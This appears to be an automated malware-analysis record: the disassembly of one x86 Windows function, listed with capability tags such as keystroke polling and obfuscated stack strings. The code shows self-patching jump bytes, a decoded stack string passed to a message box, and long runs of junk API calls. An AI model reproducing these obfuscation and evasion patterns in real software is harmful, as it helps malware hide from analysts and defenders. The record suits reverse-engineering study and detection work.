Function at 0xac2000
Capabilities:
Accept command line arguments
Compare security identifiers
Contain obfuscated stackstrings
Enumerate gui resources
Get memory capacity
Get session user name
Log keystrokes via polling
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov dword [ebp - 0x10], 0xac29dc
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xac2039
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x5c], 0xac2229
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x5c]
mov dword [ebp - 0x1c], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x1c]
jae 0xac20bb
call fcn.00490dd2
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x1c]
jb 0xac207d
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xac2097
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
cmp ecx, 2
jae 0xac2097
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x5c]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xac204d
mov byte [ebp - 0x58], 6
mov byte [ebp - 0x57], 0x6f
mov byte [ebp - 0x56], 3
mov byte [ebp - 0x55], 0x23
mov byte [ebp - 0x54], 0
mov byte [ebp - 0x53], 0x77
mov byte [ebp - 0x52], 5
mov byte [ebp - 0x51], 0x70
mov byte [ebp - 0x50], 9
mov byte [ebp - 0x4f], 0x72
mov byte [ebp - 0x4e], 1
mov byte [ebp - 0x4d], 0x80
mov byte [ebp - 0x4c], 7
mov byte [ebp - 0x4b], 0x6e
mov byte [ebp - 0x4a], 0x27
mov byte [ebp - 0x49], 0xda
mov byte [ebp - 0x48], 0x44
mov byte [ebp - 0x47], 0xa6
mov byte [ebp - 0x46], 0x4d
mov byte [ebp - 0x45], 0xe1
mov byte [ebp - 0x44], 0xbb
mov byte [ebp - 0x43], 0xda
mov byte [ebp - 0x42], 0x2d
mov byte [ebp - 0x41], 0x14
mov byte [ebp - 0x40], 0xed
mov byte [ebp - 0x3f], 0x24
mov byte [ebp - 0x3e], 0xee
mov byte [ebp - 0x3d], 0x34
mov byte [ebp - 0x3c], 0xa6
mov byte [ebp - 0x3b], 0xf2
mov byte [ebp - 0x3a], 0xd7
mov byte [ebp - 0x39], 0xbb
mov byte [ebp - 0x38], 0x86
mov byte [ebp - 0x37], 0x35
mov byte [ebp - 0x36], 0xa7
mov byte [ebp - 0x35], 0xc1
mov byte [ebp - 0x34], 0x54
mov byte [ebp - 0x33], 0x65
mov byte [ebp - 0x32], 0x84
mov byte [ebp - 0x31], 0x20
mov byte [ebp - 0x30], 0x95
mov byte [ebp - 0x2f], 0xc6
mov byte [ebp - 0x2e], 0x34
mov byte [ebp - 0x2d], 0xd7
mov byte [ebp - 0x2c], 0x5d
mov byte [ebp - 0x2b], 0xeb
mov byte [ebp - 0x2a], 0x8f
mov byte [ebp - 0x29], 0xac
mov byte [ebp - 0x28], 0x66
mov byte [ebp - 0x27], 0x78
mov byte [ebp - 0x26], 0x34
mov byte [ebp - 0x25], 0x16
mov byte [ebp - 0x24], 0x5f
mov byte [ebp - 0x23], 2
mov byte [ebp - 0x22], 0x7d
mov byte [ebp - 0x21], 8
mov byte [ebp - 0x20], 0x81
mov byte [ebp - 0x1f], 4
mov byte [ebp - 0x1e], 0x8a
and dword [ebp - 8], 0
and dword [ebp - 0x60], 0
jmp 0xac21b9
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x3b
jae 0xac221e
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x58]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xac21e5
mov dword [ebp - 0x60], 0x27
mov eax, dword [ebp - 8]
add eax, 0x25
mov dword [ebp - 8], eax
jmp 0xac21b1
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x57]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x60]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jge 0xac220d
mov eax, dword [ebp - 0x14]
add eax, 0x100
mov dword [ebp - 0x14], eax
jmp 0xac21fa
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x58]
mov cl, byte [ebp - 0x14]
mov byte [ebp + eax - 0x6c], cl
jmp 0xac21b1
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x6c], 0
push 0
push 0xab3732
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x84]
call fcn.00407b84
mov ecx, eax
call fcn.00402d4c
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x84]
call fcn.00402cf0
and dword [ebp - 0x18], 0
jmp 0xac2267
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xb
jae 0xac2277
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x6c], 0
jmp 0xac2260
push 0
push 0x1815
push 0
push 0x1b5e
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0xd5e
push 0
push 0x903
push 0xf8b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x2d2
push 0xcb4
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CreateCaret]
push 0x16f1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polyline]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0
push 0
push 0xfe8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push 0x2201
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0x5cc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectPalette]
push 0xec5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push 0x3d4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x18fc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0x984
push 0x1e7a
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapDialogRect]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0xcdb
push 0x243e
push 0x1cd8
push 0
push 0x369
push 0xa78
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0xfe2
push 0x2489
push 0x1a06
push 0x10b6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
push 0x7eb
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RedrawWindow]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RemovePropA]
push 0
push 0x149
push 0x10c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push 0x1799
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
push 0
push 0x174
push 0x2005
push 0
push 0x586
push 0x20db
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetPropA]
push 0
push 0x1297
push 0x12a0
push 0x2524
push 0xf4e
push 0x17ae
push 0x38
push 0x1725
push 0x18a3
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push 0
push 0x1531
push 0x386
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
push 0
push 0x19bb
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
push 0x12e3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
push 0x1ffb
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
push 0
push 0x227
push 0xf75
push 0
push 0x1f9
push 0x244e
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
push 0
push 0x14de
push 0xe00
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
push 0x1587
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push 0
push 0xc2b
push 0
push 0x129e
push 0xa7a
call dword [sym.imp.GDI32.dll_ExtCreatePen]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
push 0x20e6
push 0x1b49
push 0
call dword [sym.imp.USER32.dll_EnableMenuItem]
push 0
push 0
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_DialogBoxParamA]
push 0
push 0
call dword [sym.imp.USER32.dll_EnumWindows]
push 0
push 0
push 0x129c
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x3db
push 0x14fb
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_GetMessageA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndDoc]
push 0
push 0x21cb
push 0x1285
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPixel]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x5d
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push 0
push 0x1e5b
push 0x268e
push 0xfe2
push 0xa6f
push 0x17cb
push 0x2d3
push 0x2047
push 0x896
push 0xf00
push 0x9ba
push 0x1c2f
push 0x218c
push 0x165f
call dword [sym.imp.GDI32.dll_CreateFontA]
push 0xe8
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
push 0
push 1
push 0x5cd
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_UnionRect]
push 0x68a
push 0
push 0x164a
push 0x1e82
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
push 0x1963
push 0x1981
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowPlacement]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push 0xae5
push 0
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
push 0
push 0x1b6b
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetTimer]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsZoomed]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0x1261
push 0x1de8
push 0x26db
call dword [sym.imp.KERNEL32.dll_RaiseException]